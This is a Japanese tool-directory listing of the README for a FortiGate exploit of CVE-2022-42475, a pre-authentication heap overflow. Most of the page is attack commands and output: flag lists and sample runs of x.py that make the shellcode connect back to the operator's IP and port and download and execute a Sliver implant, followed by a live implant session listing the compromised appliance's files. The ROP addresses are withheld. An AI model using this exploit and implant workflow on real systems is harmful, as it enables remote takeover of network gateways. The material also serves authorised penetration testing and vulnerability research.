Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-42475 — CVE-2022-42475のエクスプロイト、Fortinetネットワーク製品における認証前のヒープオーバーフロー | Kitploit
ツール/GitHubGitHub/0xhaggis/cve-2022-42475
脆弱性分析エクスプロイトレッドチーミングリモートアクセスツールペイロード開発バイナリエクスプロイト
GitHub0xhaggis/cve-2022-42475

CVE-2022-42475

CVE-2022-42475のエクスプロイト、Fortinetネットワーク製品における認証前のヒープオーバーフロー

リポジトリを見る
33133年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-42475

背景

これは、こちらのブログ記事(https://bishopfox.com/blog/exploit-cve-2022-42475)のエクスプロイトです。

編集版

このバージョンのエクスプロイトは、ハッカーであるあなたがROPガジェットなどに必要なメモリアドレスを提供しない限り動作しません。これらのデータを特定する作業はBishop Foxの機密情報であり、私はこのエクスプロイトと共に公開することはできません(しません)。ご理解いただけると幸いです!

動作モード

  • 検証のみ、エクスプロイトなし。脆弱性の有無を判定します。ペイロードもシェルコードもありません。
  • エクスプロイトだが、検証のみ。ターゲットがエクスプロイト可能かを確認するために、良性の接続返し「ping」シェルコードを実行します。
  • 接続返しバイナリステージャを用いたエクスプロイト。シェルコードはエクスプロイトに接続返し、暗号化された運営者提供のバイナリファイル(通常はhttps://github.com/BishopFox/Sliver)をダウンロードし、復号後、execve(binary_file) を呼び出します。

注記: 現時点では、「検証のみ」モードは既知のすべてのFortiOSバージョンで動作します。しかし、エクスプロイトは100Dハードウェア上のFortiOS 6.0.4 でのみ 動作します。私はもうBFで働いていないため、約18kのターゲットをサポートする拡張エクスプロイトを公開することはできません。

必要条件

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

検証のみ

これは脆弱性の悪用を試みることはせず、代わりにクラッシュとしてトリガーします(リモートSSL VPNデーモンは自動的かつ即座に再起動します)。クラッシュはヒューリスティックに検出され、オペレーターに報告されます。

-v 検証フラグを使用して実行します:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] 検証のみモードで実行中。RCEは行いません。
[>] ターゲットが脆弱かどうかをテスト中(10秒かかる場合があります)
[+] ターゲット '192.168.0.10:8443' は脆弱である可能性があります

エクスプロイトだが、検証(現時点ではFortiOS 6.0.4 on 100Dアプライアンスでのみ利用可能)

これは脆弱性をトリガーし、ROPチェーンを展開し、シェルコードにジャンプします。シェルコードは良性で、次のように動作します:

  • エクスプロイトはターゲットに接続し、脆弱性をトリガーしてシェルコードを実行
  • シェルコードはオペレーターのIP:ポートに接続返し
  • シェルコードはエクスプロイトに単一の「hello」バイト 0xbf を送信
  • エクスプロイトは暗号化された小さなテストペイロードをシェルコードに配信(AESキーは実行ごとにランダム)
  • シェルコードはペイロードを復号し、FortiGateアプライアンス上の /tmp/x に保存
  • ペイロードの復号が成功した場合、シェルコードはエクスプロイトに別の単一バイト 0xbf を送信
  • エクスプロイトはそのバイトを読み取り、コード実行を確認

フラグ:

root@kitploit:~
-t           ターゲットホスト/IP
-p           ターゲットポート
-e           エクスプロイトモード
-c           接続返しのみモード
-H と -P     オペレーターのIP:ポート(必須)
-s           FortiOSのソフトウェアバージョン(必須)
-m           FortiOSを実行しているハードウェアモデル
-d           デバッグ出力を有効化

ソフトウェアバージョン 6.0.4 とアプライアンスモデル 100D の両方を選択した例:

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] ペイロードを暗号化するためのランダムな128ビットAESキーを生成中
[+] ペイロードを暗号化中...
[+] キャッシュされたシェルコードを使用中。強制的にリフレッシュするには `./x.py` を編集してください( 'shellcode.s' を探してください)。
[+] 192.168.0.99:443 への接続返し用に設定
[+] 暗号化ペイロードリスナーを起動中...
[+] エクスプロイトの準備中...
[+] リクエスト送信中!
[+] 'exploit_data.json' からガジェットをインポート中
[<] リスナーがポート443にバインドされ、接続返しを待機中...
[+] ガジェットを検証中...
[!] FortiOS '5.2.14' に対して機能的なハードウェアモデルが定義されていません。削除しました。
[!] FortiOS '5.6.9' に対して機能的なハードウェアモデルが定義されていません。削除しました。
[+] 797のターゲットをインポートしました:
[-]   6.0.4     [  1 targets ]   <=== 100D
[-]   5.2.14    [ 47 targets ]
[-]   5.6.9     [ 60 targets ]
[-]   6.0.13    [ 68 targets ]
[-]   6.0.14    [ 67 targets ]
[-]   6.0.15    [ 58 targets ]
[-]   6.0.8     [ 67 targets ]
[-]   6.2.11    [ 69 targets ]
[-]   6.2.7     [ 75 targets ]
[-]   6.4.10    [ 71 targets ]
[-]   6.4.2     [ 62 targets ]
[-]   6.4.3     [ 61 targets ]
[-]   6.4.6     [ 73 targets ]
[-]   6.4.9     [ 72 targets ]
[-]   7.0.4     [ 53 targets ]
[+] エクスプロイトを開始
[<] 192.168.0.10:22470 からの着信要求
[<] ターゲットからhelloパケットを受信しました!! モデル番号: 100D
[<] 36バイトの暗号化ペイロードを送信中
[<] ペイロードの送信完了(36バイト)、応答を待機中...
[<] 192.168.0.10 から期待される応答 ('100D') を受信しました
[<] ターゲットは100%の確信度で脆弱です。
[+] すべて完了!

-m でハードウェアモデルを指定しない場合、エクスプロイトは指定されたソフトウェアバージョンに対してすべてのハードウェアターゲットを総当たりします。

全面的な熱核戦争

  • オペレーターはSliverインプラントバイナリ(Linuxベース)の場所を指定
  • エクスプロイトはターゲットに接続し、脆弱性をトリガーしてシェルコードを実行
  • シェルコードはオペレーターのIP:ポートに接続返し
  • シェルコードはエクスプロイトに単一の「hello」バイト 0xbf を送信
  • エクスプロイトはSliverバイナリを暗号化し、シェルコードに送信
  • シェルコードはバイナリを復号し、/tmp/x に保存
  • シェルコードはエクスプロイトに「成功」を示す 0xbf バイトを送信
  • エクスプロイトはそのバイトを読み取り、コード実行を確認
  • シェルコードは execve("/tmp/x") を呼び出し
  • ???
  • 利益!

フラグ:

root@kitploit:~
-t           ターゲットホスト/IP
-p           ターゲットポート
-e           エクスプロイトモード
-f ファイル名  ターゲット上でexecveするバイナリへのパス
-H と -P     オペレーターのIP:ポート(必須)
-s           FortiOSのソフトウェアバージョン(必須)
-m           FortiOSを実行しているハードウェアモデル
-d           デバッグ出力を有効化

Sliver:

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

全てのハッカーは生ける武器を得る
[*] サーバー v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Sliverシェルへようこそ。ヘルプは 'help' と入力してください

[server] sliver > mtls -l 8888

[*] mTLSリスナーを起動中...

[*] ジョブ #1 を正常に開始しました

エクスプロイト:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] エクスプロイトはターゲット上で execve("implant5") を試みます
...
[<] ターゲットは100%の確信度で脆弱です。
[+] すべて完了。

そしてSliverに戻って:

root@kitploit:~
[*] セッション d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] アクティブセッション implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

ログオンID: <err>

[server] sliver (implant5) > ls

/ (19 items, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  Tue Jan 31 05:23:13 +0000 2023
drwx------   root                <dir>  Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  Tue Jan 31 05:24:07 +0000 2023

Sliverが <err> を返すのは、FortiOSがLinuxとだいたい似ていて、期待通りに動作しないことがあるからです。これはSliverではなくFortiOSの問題です。

さらに多くのバージョンが近日公開予定

私はもうBishop Foxで働いていないため、アップデートについてはBFのGitHubをフォローしてください。

ツールをダウンロード